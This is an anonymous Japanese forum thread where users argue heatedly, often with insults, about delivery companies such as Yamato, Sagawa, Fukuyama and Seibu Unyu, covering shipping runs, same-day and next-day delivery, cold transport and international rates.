クーラーボックスでの輸送で、各拠点で保冷剤の入れ替えはしてるものの、
長距離路線では保冷剤を入れた直後は5度ぐらいだけど、路線到着店に到着した頃には、下手すれば20度ですよね(^-^)
「輸送温度が高い」というより、「輸送温度が安定しない」と言った方が正解かもね(^-^)

だから、チルドゆうパックなんか使う人の気が知れないよ(^-^)

輸送用には蓄冷か蓄電式かのボックスだから、到着時でも−18度なり5度を保持してますよ。

あと、佐川はニチレイだから全然違うよね(^-^)

鉄道輸送用の冷蔵機付きコンテナはエンジンを動力にしてる。事故とかで足止めを食らうと、燃料切れの恐れがあるので、急きょ補給の手配するらしい。

>>395
批判乙

さあ、明日荷物を出す記念に西武利用者には都合の悪い夜配・日配の話題をしようか(^-^)

http://page9.auctions.yahoo.co.jp/jp/auction/k104631390

＞また 大阪〜青森 間であれば、目安として
＞
＞発送翌日にお届け可能 です！
＞
＞また遠隔地の場合においても西武運輸は空路を利用した配送も行っているようで通常の宅急便より早くお手元に届くかと思います。

トムスと西武の契約は急便契約なのに、こんなハッタリ言って大丈夫なのかな？(^-^)
仮に、航空便だとしても、翌日配達対象地域は青森市(一部地域除く)・三沢市・八戸市だけなのにね(^-^)

>>401
転載するのなら
「商品発送元地域 ： 茨城県 日立市 」も入れてあげようや。

茨城県から航空便発送ということは、北海道と四国と九州と沖縄ももちろん、翌日配達なんですよね(^-^)

>>296の証拠は？

どうせ馬券だろw

佐川の時間帯サービス １８時〜２０時と１９時〜２１時 と便利になってるね。

この前佐川の営業所へ行ってパンフレット見て知った。

e飛伝�Uではまだ対応してないみたい。

去年まで黒猫使ってて今年から佐川に変えたけど、サービスや品質には大満足。

5/5 18時〜21時指定
http://www1.axfc.net/uploader/Img/so/45234

あ、西武ウンコには日配も夜配も無理でしたね(^-^)

POSTALメール便って付きどれぐらい出せば、使わせてもらえるの？

使わせてくれるかどうか以前に、あんなクズみたいなのは使わない方が良い。
紛失遅配は常識だから。
理由？
中間業者が4社ほど入ってるから。
それだったら佐川ゆうメールを聞いた方が良い。
その条件では無理と言われたら恐らくPOSTALも無理だろう。

そういえば国際郵便やEMSは通関休みでしたね(^-^)
ついでに時間帯指定もできなかったですよね(^-^)
http://www1.axfc.net/uploader/Img/so/45251
http://www1.axfc.net/uploader/Img/so/45252

>>408-409
西濃運輸がトータルメディアシステムに引き渡してる値段が、500g以内60円ですよね(^-^)
ということは、契約運賃はこれ以上の値段になる事は、容易に想像はできますよね(^-^)

中間は西濃運輸・トータルメディアシステム・PDMの3社だよ(^-^)

国際郵便の数倍の料金支払い乙
いくら着払い特約あってもそれなりに高いだろ。

着払いなので料金は届くまでわからないけど、EMSよりは安いよね(^-^)
25kgでEMSの1/3程度だよ(^-^)
サイズ関係なく実重量で行ってるしね(^-^)
あと、荷物価格が1000ドル行ってるけど、EMSは100ドル上限でそれ以上は保険オプション、
ヤマト国際は標準で2500ドルだよね(^-^)

25kgって一体何よ？
仕入れか？
少なくとも俺は普通郵便か小形包装物しか送らんからなあ。

EMS(25kg)→304ドル＋14.75ドル集荷手数料＝318.75ドル
あゆちん契約のクロネコヤマト国際宅急便着払い特約(25kg)→105ドル

どうやっても覆しようのない事実ですよね(^-^)

>>414
運賃の開きの大きい25kgで例えてみただけですよね(^-^)

1kgの小形包装物とだったら？
まあ国内宛ならメール便と宅配便を比較するようなものだから意味無いけど。

EMS(1kg)→37.72ドル＋集荷手数料14.75ドル＝52.47ドル
あゆちん契約のクロネコヤマト国際宅急便着払い特約(1kg)→22ドル

やっぱり倍以上違いましたね(^-^)

First-Class Mail Internationalの1kgなら18.55ドルだけど、
追跡なし・補償なし・ポスト投函なので全然性質違いますよね(^-^)
10.8ドルの書留オプションつけたら、あゆちんの契約より高くなりますよね(^-^)

＞追跡なし・補償なし・ポスト投函なので
俺が出すような荷物は大抵それでも問題なし。
オク関係で海外あては皆無だし、海外から受け取るときも大抵はポスト投函。

何はともあれ、夜配・日配できない西武ウンコは終了ですね(^-^)
http://www1.axfc.net/uploader/Img/so/45263

ピックの方は当日の集荷締めの集荷予約が前日の15時とか、全く使い物にならないですよね(^-^)
仮に当日中に発送する必要のある荷物が発生したら、全く対応できないですよね(^-^)

西武運輸は西武に直接集荷する形式だけど、当日集荷締めは何時なのかな？
夜配をやっていないということは、夜の集荷もやってないよね(^-^)

夜の集荷なし・日祝集荷なし・コンビニ差出なしではニートしか使えませんよね(^-^)
ニート専用運送会社、西武運輸(^-^)

ヤフオクを利用している一般人は土日祝に集荷を呼ぶか、夜に集荷呼ぶか、ヤマトの営業所や郵便局に持ち込むか、コンビニに持ち込むよね(^-^)
平日の真っ昼間から集荷を呼ぶ西武利用者はまさに逸般人ですよね(^-^)

だから何？
ピックは前日14時とかいうアホみたいな条件だから2〜3度使って辞めた。
西武はサイズの融通がかなりきいていたから使ってたけど、燃油高騰なのか藻前のせいなのかそれがきかなくなったから今は使ってない。
正直200円程度までの差ならカス西武を使う気にはならん。
あと、俺のとこの場合、当日締めは企業の定時集荷の関係上スポットは定時集荷が始まる前の時間までしか集荷しないってことだった。
つまり、そういう時間帯が当日最終締め切りって事。
今は金券屋の切手でゆうパック持ち込みかヤマトの回数券をちまちまw

＞平日の真っ昼間から集荷を呼ぶ西武利用者はまさに逸般人ですよね

ヒント：専業主婦

西武ってそんなに不便なんだね

個人用じゃないもの

あゆちんは連休中ですか

>>296の証拠は？
あと、オク以外でネットショップしてるんだよね？商材は何？

激高宅配便「フェリシモeポーター」ってどうよ？
http://pc12.2ch.net/test/read.cgi/yahoo/1241704113/l50

ゆうパックや宅配便正規運賃より高い発送代行なんて価値がないよね(^-^)

で、「ゆうパックは午前0時差し出しでも当日配達」の人はどこへ行ったのかな？(^-^)
あゆちんがウソを証明して以降、出てきませんけど？(^-^)

あと、「西武航空は航空便発送」の人もどこへ行ったのかな？(^-^)
早く証拠を見せてね(^-^)

Yahooゆうパック終わるから「Pickupプロジェクト」登録してみた(´・ω・`)

>>296の証拠は？
あと、オク以外でネットショップしてるんだよね？商材は何？

>>433
別に召還しなくてもいいんじゃないか。
無理な地域は無理なことはわかるし。

そう言えば佐川西日本ハブの0時差出で中部や関東への当日配達不可能という事実を
暴かれて以来その話もしなくなったな

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
妄言なのは誰の目にも明らかだが

>>438
＞そう言えば佐川西日本ハブの0時差出で中部や関東への当日配達不可能という事実

できるよ(^-^)
だって、当日2便発送終了時間がその程度の時間だからだよ(^-^)
いつどこで「できない」という証明はされたのかな？(^-^)

>>436
競馬の話題はこのスレでは全く関係ないので、証明する必要性はないよね(^-^)
メイショウテゾロのマイルCSなんて15年近く前の話だしね(^-^)

＞オク以外でネットショップしてるんだよね？商材は何？

なぜそんな事を教えないといけないのかな？(^-^)
教える必要すらないよね(^-^)

ゆうパック0時出しで当日配達：不可能だと証明済み
佐川の西日本ハブセンター0時出しで当日配達：不可能だとは証明されていない
福山の東京支店0時出しで当日配達：不可能だとは証明されていない

あゆちんの方が優位ですよね(^-^)

あと、これも忘れないでね(^-^)

トムス契約の西武航空は航空便発送：ウソだと証明済み(西武航空に確認済み)

仕方ないから、西日本ハブセンター0時出しで当日配達を証明してあげよう(^-^)
実は、佐川公式HPに載ってるんだよね(^-^)

http://www2.sagawa-exp.co.jp/search/branch_search/locate/3744/3-21/

さあ、ウソだとか言った連中の言い訳を聞こうじゃないの(^-^)

そろそろ、佐川公式HPに載ってることすらシッタカ呼ばわりする人が出てきそうな予感ですね(^-^)

>>441
証明も何も0時締め当日配達はハブ管轄エリア限定と
公式に出てるんだが

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

ゆうパック0時出しで当日配達：不可能だと証明済み
佐川の西日本ハブセンター0時出しで当日配達：可能だと証明されました(ソースは佐川公式HP)
福山の東京支店0時出しで当日配達：不可能だとは証明されていないが、東京支店は2時〜3時まで発送している事を考えれば、可能なはず

さあ、「ゆうパック0時出しで当日配達」の人は肩身が狭くなりましたね(^-^)

>>455
キミの言う「ハブ管轄エリア」というのは、ハブ→中継店輸送分のみを指す言葉であり、
関西には他にもハブ機能を持った営業所がたくさんあるんだから、西日本ハブセンターの管轄エリアなんて、兵庫県内ぐらいなものだよ(^-^)

しかし、佐川公式HPでは甲信越まで0時出しで当日配達だから、キミの言うことが間違いであることが証明されたね(^-^)

甲信越も西日本ハブセンターの管轄エリアなのかな？(^-^)
甲信越は甲信越でハブ機能を持った店がたくさんあるけど？(^-^)

＞22時前出発厳守のヤマトに2便3便があるとか言ってる

あるよね(^-^)
3便は実質メール便専用便で、宅急便発送後に専用で発送されてる便だよ(^-^)

あと、関東関西間で正午頃に着店につく便(翌日午前配達不可)があるよね(^-^)
それが2便だよ(^-^)

>>445が言うには、西日本ハブセンターは甲信越地方の店にまで中継輸送しているそうですよ(^-^)

ところで、「ゆうパックは0時出しで当日配達」と「トムス契約の西武航空は航空便発送」はいつ証明されるんですか？(^-^)

>>451
「ゆうパック0時出しで当日配達」

証明というのは具体的には何を証明すればいいのか
わからないぞ。
東京エリア発以外公式的に当日配達はうたっていないし
東京発も自動車便限定だしな。

証明は追跡以外ではあり得ないよね(^-^)
どっかの誰かさんは「0時出しで800km圏内当日配達」と言ったんだよ(^-^)
800km圏内＝関東中国間、関西南東北間程度だよね(^-^)

さあ、証明してよ(^-^)

ちなみに郵便はハブでなくても各県路線局0時締めで翌配可能だな
ttp://tracking.post.japanpost.jp/service/singleSearch.do?searchKind=S002&locale=ja&reqCodeNo1=997401126444
ttp://tracking.post.japanpost.jp/service/singleSearch.do?searchKind=S002&locale=ja&reqCodeNo1=997374697281
鹿児島宛てもあったけど有効期限すぎてたから今度0時に出してうｐするわ
とりあえずそちらも追跡証明どうぞ

＞キミの言うことが間違いであることが証明されたね
＞甲信越は甲信越でハブ機能を持った店がたくさんあるけど？
では聞くけど、なんで甲信越より距離が近い中部に当日配達できないんですか？
ハブ機能を持ったたくさんの店から当日配達ができないのはどうしてですか？

＞関東関西間で正午頃に着店につく便(翌日午前配達不可)があるよね
ベースは昼前まで発送の仕分けやるから
正午頃に着店につく便というのがそもそも有り得ないな
これも追跡番号よろ

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

＞競馬の話題はこのスレでは全く関係ないので、証明する必要性はないよね
その関係ない話を最初にここで始めたのはお前という池沼なんだが

＞これも追跡番号よろ

追跡番号載せたところで、ヤマトは着店到着のステータスがないから、1便か2便かはわからないよね(^-^)

＞では聞くけど、なんで甲信越より距離が近い中部に当日配達できないんですか？

佐川に聞けばいいよね(^-^)
ところで、「西日本ハブセンターは甲信越地方の店にまで中継輸送している」というシッタカはどうなったんですか？(^-^)

>>454
＞22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
＞糞コテの希望的妄言であることは誰の目にも明らかだがな

じゃあ、逆に聞くよ(^-^)
なぜ福山のフクツーメール便ですら翌日配達できるクロネコメール便は関東関西間で3日もかかるのかな？(^-^)

さらに質問するよ(^-^)
フクツーメール便は関西→南東北は翌日配達可能だけど、
クロネコメール便はなぜ速達ですら翌日配達じゃないのかな？(^-^)

ヤマト運輸の路線は1日800km運行だから、宅急便が関西→南東北が翌日配達可能なら、メール便も翌日配達可能なはずだよね(^-^)

あと、忘れてたけど、>>285に対するコメントも何か欲しいよね(^-^)

さあ、ヤマト運輸が嫌がるメール便の話を本格的に開始しようか(^-^)

あゆちんはフクツー航空メール便で北海道〜沖縄まで全国翌日配達可能な特別契約を結んでるからね(^-^)

クロネコメール便は翌日配達地域もあるよ

＞追跡番号載せたところで、ヤマトは着店到着のステータスがないから
作業店通過のステータスはあるから、6〜11時くらいに通過していれば
お前の言う正午到着の合理性があるかどうかの証明になるよ
追跡番号公開よろ

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

＞西日本ハブセンターは甲信越地方の店にまで中継輸送している
ハブから出る到着路線の末端に甲信越があるということだろ
東海や関東は到着ではなく発送の路線だから当日配達不可なわけだ

＞クロネコメール便は関東関西間で3日もかかるのかな？
逆に聞くけどクロネコメール便通常が稀に翌日配達になることがあるのはなんでだ？

＞クロネコメール便はなぜ速達ですら翌日配達じゃないのかな
昼便到着の場合は配達店で一晩寝かせるからだよ

＞>>285に対するコメント
お前から落札する人間は池沼ばかりだな

＞フクツー航空メール便で北海道〜沖縄まで全国翌日配達可能
速さを選ぶならEXPACK使うし、一般人がフクツーメールなんて使うケースなんぞ皆無だがな
クロネコメール・冊子小包・EXPACKの4択なら9割9分がフクツー以外を選ぶだろうな


あと佐川西日本ハブ0時発関東・中部への当日配達の追跡データと
フクツウ支店0時発の追跡データよろ

トムス難民なんですけどyahooゆうも終わるそうなんで今後どうしようかな？

EXPACKは220円で送れるのかな？(^-^)
220円で送れるのなら、誰も航空メール便なんて選ばないと思うけどね(^-^)
あと、EXPACKは道東翌日配達できないのは無視なのかな？(^-^)

＞昼便到着の場合は配達店で一晩寝かせるからだよ

翌日正午頃到着の便は2便の事なんですけど？(^-^)
2便の存在を否定しておいて、今更2便が存在するなどという書き込みは矛盾してるよね(^-^)
じゃあ、関東関西間でクロネコメール便が2便発送で翌日正午前後到着として、
なぜ配達日数は3日なのかな？(^-^)
1日寝かすなら2日だよね(^-^)
そろそろ、話に整合性がとれなくなってきて、論破寸前だね(^-^)

>>462
あゆちんに聞きましょう

＞ハブから出る到着路線の末端に甲信越があるということだろ
＞東海や関東は到着ではなく発送の路線だから当日配達不可なわけだ

ｼｯﾀｶﾀｰｼｯﾀｶﾀｰｼｯﾀｶﾀｯﾀｯﾀｰ

甲信越方面も路線の発送だよ(^-^)
ただ、中部関東は2時間締め時間が繰り上がってるだけだけ(^-^)
そんな事もわからないのかな？(^-^)

甲信越地方方面に仮に西日本ハブセンター路線到着の回送があったとすれば、
24時どころか、当日の昼に出しても翌日配達可能なはずだよ(^-^)
回送はどこの運送会社も昼過ぎまでやってるからね(^-^)

訂正だよ(^-^)

×当日の昼に出しても翌日配達可能なはずだよ(^-^)
○当日の昼に出しても当日配達可能なはずだよ(^-^)

＞逆に聞くけどクロネコメール便通常が稀に翌日配達になることがあるのはなんでだ？

理由は簡単だよ(^-^)
仕分けミスその他モロモロの理由で、2便(最悪1便)に入ってるからだよ(^-^)

それを言い始めたら、福山でも勝手に宅配便が航空便発送される事だってあるしね(^-^)

さんざん2便の存在を否定しておいて、今更2便が存在するなどという書き込みはもはや論破されたと見ていいでしょうね(^-^)

>>462
オレもYahooゆうパックの乗り換え先で困ってる

2便の存在を否定する人は、ヤマト運輸の社員が立ち上げたHPで2便の存在を明らかにしているのはご存じなのかな？(^-^)
もはやヤマト運輸の社員すらシッタカ呼ばわりしそうな勢いですね(^-^)

http://www.geocities.com/kuronekoyamato9625/200.htm

＞宅急便の仕分を優先にしている為に全てのメール便が１便（朝到着）でセンターに送り込まれて来ない
＞多くのメイトさん（メール便配達員）が主婦である為に２便（午後到着）で送り込まれてきたメール便は配達が出来ない。

ちなみに、この問題はクロネコメール便が翌日配達を謳っていた頃の話だよ(^-^)
当時はクロネコメール便は2便発送だったんだよ(^-^)

クロネコメール便を翌日配達と謳っていた当時のヤマト運輸の体制は以下の通りだよ(^-^)
1便：宅急便タイムサービス(陸便発送分)/宅急便(午前指定と12時〜14時指定)/指定なしや14時以降指定の宅急便でコンテナが余ればその分を詰め込み
2便：ヤマト便/クロネコメール便/宅急便(指定なしや14時指定以降で1便発送できなかったあまり)

今は以下のように変更に変更されているよ(^-^)
1便：宅急便タイムサービス(陸便発送分)/宅急便(午前指定と12時〜14時指定)/指定なしや14時以降指定の宅急便でコンテナが余ればその分を詰め込み
2便：ヤマト便/クロネコメール便(速達)/宅急便(指定なしや14時指定以降で1便発送できなかったあまり)
メール便専用便(実質3便)：クロネコメール便(通常)

ヤマト運輸の社員が告発サイトで2便の存在を明らかにしているのに、
2便など存在しないとか言ってるシッタカはどこへ行ったのかな？(^-^)
早く出てきて何らかのコメントを発して欲しいですよね(^-^)

ヤマト運輸は早めの指定は全部1便発送で翌日配達なので、2便の存在を感じづらいんですよね(^-^)
600km圏内で指定なしで午後に配達に来たら、それは2便発送である可能性が高いですよね(^-^)

以前、「クロネコメール便はA4/5cmまで存在する。運賃はA4/1cmで80円、A4/2cmで160円なので、A4/3cmは240円、A4/4cmは320円、A4/5cmで400円だ(つまり、運賃は80円×厚み)」
などと言っていたシッタカがいたけど、あゆちんがそんなものは存在しないと論破した上、運輸板のヤマト運輸スレに「こんな事言ってるシッタカがいるんだけど、どう思う？」
と書き込んだら、そのスレでもヤマト運輸の社員にシッタカ呼ばわりされ、それを論破したスレに報告したら、そのシッタカ、ヤマト運輸の社員すらシッタカ呼ばわりしたよ(^-^)

＞220円で送れるのなら、誰も航空メール便なんて選ばないと思うけどね
実際にメール便でなくEXPACKを選ぶ方はたくさんいらっしゃいますが？
お前の出品物がゴミなのかお前から落札する人間が乞食ばかりかのどっちかだろｗ

＞翌日正午頃到着の便は2便の事なんですけど
正午到着を主張しているのはお前だけであり
正午到着の2便が存在するなどとはお前以外の人間は一言も言っていませんが？
>>470のサイトにもお前の言う正午到着などとはどこにも書かれていないわけだが

>>470のリンク先に書いてある通り昼便というのはベース正午以降仕分けの到着のことだ
つまり配達店に正午に到着することは無い
お前の言っている発送レベルでの2便というのは全て架空の作り話

＞関東関西間でクロネコメール便が2便発送で翌日正午前後到着として
午前に到着して昼のスタッフが仕分けして翌日配達だよ

＞中部関東は2時間締め時間が繰り上がってるだけだけ
全く役に立たないな
理由を説明できないお前も0時締めで近県や関東に翌配できない佐川もｗ

＞回送はどこの運送会社も昼過ぎまでやってるからね
>>443でお前が貼った表にはハブ発甲信越午前着の便が存在しないな
つまり回送はあっても時間によってハブを経由しない便があるということだ

＞仕分けミスその他モロモロの理由で、2便(最悪1便)に入ってるからだよ
郵便番号仕分けのメール便がどうして着店コード仕分けの宅急に混ざるのでしょうか？

＞当時はクロネコメール便は2便発送だったんだよ
これも>>470のリンク先の内容と矛盾するな
『全てのメール便が１便（朝到着）でセンターに送り込まれて来ない』
＝基本早朝の便で届くと書いてあるようだし

＞クロネコメール便を翌日配達と謳っていた当時のヤマト運輸の体制は以下の通りだよ
タイムと宅急と雑貨と赤コンとメールとクールをぎっしり積んで出発するというのに
ましてや指定ありと指定無しをいちいち別々に流すわけねぇだろ、アフォかこいつｗ


あと佐川西日本ハブ0時発関東・中部への当日配達の追跡データと
フクツウ支店0時発とヤマト配達店正午到着の追跡番号公開よろ

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

あーあ、ついにヤマト運輸の社員すらシッタカ呼ばわりしちゃった(^-^)
論破完了だね(^-^)

＞220円で送れるのなら、誰も航空メール便なんて選ばないと思うけどね
実際にメール便でなくEXPACKを選ぶ方はたくさんいらっしゃいますが？
お前の出品物がゴミなのかお前から落札する人間が乞食ばかりかのどっちかだろｗ

＞翌日正午頃到着の便は2便の事なんですけど
正午到着を主張しているのはお前だけであり
正午到着の2便が存在するなどとはお前以外の人間は一言も言っていませんが？
>>470のサイトにもお前の言う正午到着などとはどこにも書かれていないわけだが

>>470のリンク先に書いてある通り昼便というのはベース正午以降仕分けの到着のことだ
つまり配達店に正午に到着することは無い
お前の言っている発送レベルでの2便というのは全て架空の作り話

＞関東関西間でクロネコメール便が2便発送で翌日正午前後到着として
午前に到着して昼のスタッフが仕分けして翌日配達だよ

＞中部関東は2時間締め時間が繰り上がってるだけだけ
全く役に立たないな
理由を説明できないお前も0時締めで近県や関東に翌配できない佐川もｗ

＞回送はどこの運送会社も昼過ぎまでやってるからね
>>443でお前が貼った表にはハブ発甲信越午前着の便が存在しないな
つまり回送はあっても時間によってハブを経由しない便があるということだ

＞仕分けミスその他モロモロの理由で、2便(最悪1便)に入ってるからだよ
郵便番号仕分けのメール便がどうして着店コード仕分けの宅急に混ざるのでしょうか？

＞当時はクロネコメール便は2便発送だったんだよ
これも>>470のリンク先の内容と矛盾するな
『全てのメール便が１便（朝到着）でセンターに送り込まれて来ない』
＝基本早朝の便で届くと書いてあるようだし

＞クロネコメール便を翌日配達と謳っていた当時のヤマト運輸の体制は以下の通りだよ
タイムと宅急と雑貨と赤コンとメールとクールをぎっしり積んで出発するというのに
ましてや指定ありと指定無しをいちいち別々に流すわけねぇだろ、アフォかこいつｗ


あと佐川西日本ハブ0時発関東・中部への当日配達の追跡データと
フクツウ支店0時発とヤマト配達店正午到着の追跡番号公開よろ

22時前出発厳守のヤマトに2便3便があるとか言ってる時点で
糞コテの希望的妄言であることは誰の目にも明らかだがな

論破が完了した相手は、以後相手しないよ(^-^)
ヤマト運輸の社員すらシッタカ呼ばわりした時点で、論破は済んでるから(^-^)
もはや社員の発言すら信用しないんだから、何言っても無駄だよね(^-^)

論破完了したので話を変えるけど、トムス西武利用者は西武と福山を「どっちも宅配をできる体制が整っていない会社」という同じレベルの会社という具合に引きずり込みたいようだね(^-^)
しかし、夜配なし・日配なし(一部地域有料/大半の地域不可)・夜や日祝の集荷もなしという時点で、相当な差があると見ていいよね(^-^)
「全く宅配が配達できる体制が整っていない」のと、「宅配が配達できる体制がそれなりに整っている」では大きな差があるよ(^-^)
特に夜配は個人の時間帯指定では8〜9割を占める指定時間帯なのにね(^-^)

＞正午到着を主張しているのはお前だけであり
＞正午到着の2便が存在するなどとはお前以外の人間は一言も言っていませんが？
＞>>470のサイトにもお前の言う正午到着などとはどこにも書かれていないわけだが

「正午頃」と「正午」は全然違うよね(^-^)
ここでもキミのシッタカが発揮されたよね(^-^)

ちなみに、600km圏内の2便発送は厳密には必ず着店到着が午後というわけじゃないから(^-^)
だいたい、10時〜14時の間ぐらいだから、午前中に到着することもあるよ(^-^)
ちなみに、着店到着が10時過ぎでもすでに朝の配達は出発してるから午前配達は無理だよ(^-^)
あゆちんはそれを含めて、「正午頃」と言ったんだよ(^-^)

ま、論破が完了した相手は、以後相手しないよ(^-^)
ヤマト運輸の社員すらシッタカ呼ばわりした時点で、論破は済んでるから(^-^)
もはや社員の発言すら信用しないんだから、何言っても無駄だよね(^-^)

勝手に他人の発言を捏造する人はかの国の人に似てるよね(^-^)
あゆちんの「正午頃」という書き込みを勝手に「正午」に捏造したりとか(^-^)

＞郵便番号仕分けのメール便がどうして着店コード仕分けの宅急に混ざるのでしょうか？

ここでも見事シッタカが発揮されましたね(^-^)
「宅急便と仕分け間違える」のでなく、「速達メール便と仕分け間違える」が正解だよ(^-^)
つまり、速達でないものを速達扱いで送ったって事ね(^-^)

＞理由を説明できないお前も0時締めで近県や関東に翌配できない佐川もｗ

数日前に22時30分に中部から関西宛に出されたEXPACKは翌日配達じゃなかったよね(^-^)
これもちゃんとなぜ翌日配達でなかったのか、説明してね(^-^)
これじゃ佐川と同レベルだよね(^-^)
ちなみに、着店到着は翌々日だったよ(^-^)

>>325にも書いたけど、あゆちんは「速さ」だけやたらめったら主張する人は眉唾物だと思ってるよ(^-^)
西武航空の航空便発送しかり、ゆうパックやEXPACKしかりだけど(^-^)
なぜなら、それ以外取り柄がないからだよ(^-^)

本来、オークション(に限らず、ネット通販でも)で重要視されるのは「指定配達」と「補償」であり、
「速さ」なんてのは、二の次だからだよ(^-^)
その2つがまともにない事を触れもせず、速さだけを競う人はまさに眉唾物だよ(^-^)

当たり前だけど、補償はあるけど、夜配・日配のないトムス西武の一般路線や、補償や指定配達のないEXPACKより、
夜配・日配も補償もある宅配便の方が上位に来るのは当然だよね(^-^)

それ以前に、個人宅配は午前指定：夜間指定＝1；9か2；8の割合で、個人宅配においては午前指定はほとんどニーズがなく、
東京23区内の個人宅の午前在宅率は30％そこそこしかないデータを考慮しないで、
速さだけを強調する人は、眉唾物だとあゆちんは言い続けてるのに、全く聞こうともしないよね(^-^)

>>481
数日前に22時30分に中部から関西宛に出されたEXPACKは翌日配達じゃなかったよね(^-^)
これもちゃんとなぜ翌日配達でなかったのか、説明してね(^-^)

問い合わせ番号がわかれば解説できるだろうが
無理なものは無理。

あれ？ｗｗ
論破完了とか言ってたのになんで今更反応するの？
メンヘルっぽいなこの子

＞600km圏内の2便発送は厳密には必ず着店到着が午後というわけじゃないから
だからさ、到着ベースからの出発時間が決まってるし
早朝の仕分けは終わってるし正午締めの発送でベースは仕分けやってるんだから
配達店に10時に来るわけがねぇだろがｗ

＞「宅急便と仕分け間違える」のでなく、「速達メール便と仕分け間違える」が正解だよ
メール速達は郵便番号ではなく宅急と同じ着店コードで仕分けます

＞その2つがまともにない事を触れもせず、速さだけを競う人はまさに眉唾物だよ
お前の落札者がそうならそれでいいよ
俺の落札者は商品の迅速な到着を喜んでくれるし
補償が無くても誤配の少なくなるよう最短経路で最速で
宛名も正確に何度も確認してでかい文字で誰にでも見やすいように書いてる

当然梱包も資材を惜しまずに厳重に梱包している
それが俺の取引に対する哲学だからな、俺には実績があるので補償など不要

＞問い合わせ番号がわかれば解説できるだろうが
＞無理なものは無理
は？ なんで番号無いの？


あと福山と言えば営業所が極端に少なくてコンビニ集荷もしてないし
指定が複雑で個人にわざと分かりにくくしてるから
夜配がどうこういうレベルではなく利用価値がゼロに等しいんだよな

>>485
＞コンビニ集荷もしてないし

じゃあ、キミは一生ヤマトを使ってればいいよ(^-^)

まあ、論破が完了した相手は、以後相手しないよ(^-^)
ヤマト運輸の社員すらシッタカ呼ばわりした時点で、論破は済んでるから(^-^)
もはや社員の発言すら信用しないんだから、何言っても無駄だよね(^-^)

＞まあ、論破が完了した相手は、以後相手しないよ
ｗｗ
お前優しいなｗ

ところで、この人はいつになったら2便の存在は認めるのかな？(^-^)
ヤマト社員をシッタカ扱いし続ける限り、2便の存在は認めないって事だよね(^-^)

2便の10時台到着はあり得るよね(^-^)

繁忙期や閑散期など、時期によって2便発送完了時間にはある程度ブレがあるし、
宛先によっても、2便の到着時間が違うよ(^-^)
具体的に言えば、大阪発の2便なら、北関東と南関東では2便到着時間が違うのはわかるかな？(^-^)
600km圏内と700km圏内の違いだけだけどね(^-^)
北関東が12時頃着店到着なら、南関東は10時台についていてもおかしくはないよね(^-^)

ここの人たちは、北関東と南関東を一緒にする人が多いよね(^-^)
運送会社的にも、世間一般的にも、北関東と南関東は全然違うよ(^-^)

まず、世間一般では北関東は関東とは呼びませんよね(^-^)
あと、腹痛にも言えることだけど、北関東を軽視してきている運送会社は結構多いよね(^-^)

https://prexpress.jp/index.htmlはどこの運送会社つかってるの？

＞到着ベースからの出発時間が決まってる

どこの運送会社でもそうだけど、路線到着店→着店への発送(回送)は、
夜中〜昼過ぎにかけて、何回かに分けて発送するから、出発時間が決まってるわけではないよね(^-^)
まさか、早朝と正午前の2回だけと思ってました？(^-^)
早朝と正午前の2回だけなら、路線到着店は荷物がたまってパンクすると思うよ(^-^)

＞ところで、この人はいつになったら2便の存在は認めるのかな
そんなことをして私とあなたと世界の民に
何かメリットがあるのでしょうか

＞繁忙期や閑散期など、時期によって2便発送完了時間にはある程度ブレがあるし
それは確かにそうだな
でもそれは2便があるわけではなく22時発の路線が延発したに過ぎない

＞宛先によっても、2便の到着時間が違うよ
22時発でも到着時間は違うよ
全国一斉に22時に出発して早朝に到着ベースに着かない便は
正午出発の便で配達店に送られる、ただそれだけ
だから最初から14時より前の指定は受けていない

徳島とかは到着は更に遅くなるが

>>481
ごめん、糞コテと間違えてレスしてた

＞夜中〜昼過ぎにかけて、何回かに分けて発送するから、
＞出発時間が決まってるわけではないよね
そうだよ
だから6時と12時出発の便が最後だから
宅急もメールもタイムもクールも全部積む
お前の言う10時着とかいうのは無いわ

＞全国一斉に22時に出発して早朝に到着ベースに着かない便は
＞正午出発の便で配達店に送られる、ただそれだけ

>>492に「路線到着店→着店への発送(回送)は、夜中〜昼過ぎにかけて、何回かに分けて発送するから、出発時間が決まってるわけではないよね」と書いたよね(^-^)
東京主管とかが1日に何回着店への発送(回送)やってるのかは知らないけど、福山でも相当な回数やってる(今年あたりからは怪しくなっているが)から、ヤマトも相当な回数やってるはずだよ(^-^)

＞だから6時と12時出発の便が最後だから

6時間の間に1回も回送しなかったら、東京主管は到着荷物でパンク状態だと思うよ(^-^)
少なくとも6時間1回も回送なしとかはないよね(^-^)
減便体勢の福山でもそこまで極端なのはあり得ないよね(^-^)
ここからはあゆちんの想像だけど、ヤマトなら1時間に1回は回送してると思うよ(^-^)

>>493
いえいえ。引用の仕方がまずかった。

郵便の場合
統括支店の規模にもよるが本来の結束の流れ以外になるから、
語られているような「２２時に出して遠距離でも翌日配達」とか、
「０時に出して遠距離でも当日配達」になるっていうのは少ないよ。

この流れで俺からあゆちんに質問
佐川の平日だけのサービスで、軒並み1000kmまで翌日配達可能ってサービスは1便より早い時間帯だったよね。
あれは回送よりは遅いはずだけど、夕方とかに出る専用便を出してる？

飛脚スーパーは夕方じゃなくて、昼に長距離路線出してるよね(^-^)
1便発送とかそういう性質のものではないですよね(^-^)
あのサービスは路線発送店限定だからどこの営業所でも使えるわけではないよ(^-^)

ちなみに、似たような商品に「カンガルービジネス便」なる商品もあるけど、あれはただの1便発送保証ですよね(^-^)
だから、飛脚スーパー便では可能な800km〜900km圏内の翌日午前配達はできないし、
航空便で発送してるわけでもないから、北海道でも沖縄でも翌日午前配達できるって性質のものでもないですよね(^-^)
つまり、翌日午前配達の微妙な600km圏内〜700km圏内の翌日午前配達保証程度のサービスですよね(^-^)

＞1便発送保証

これに関してもう少し付け加えると、西濃に限らず、一部の特定契約荷主は契約で1便優先発送が約束されている場合もあるよね(^-^)
あゆちんは関係ないけどね(^-^)

＞当然梱包も資材を惜しまずに厳重に梱包している

EXPACK使ってる時点でこんな詭弁は通用しないよね(^-^)
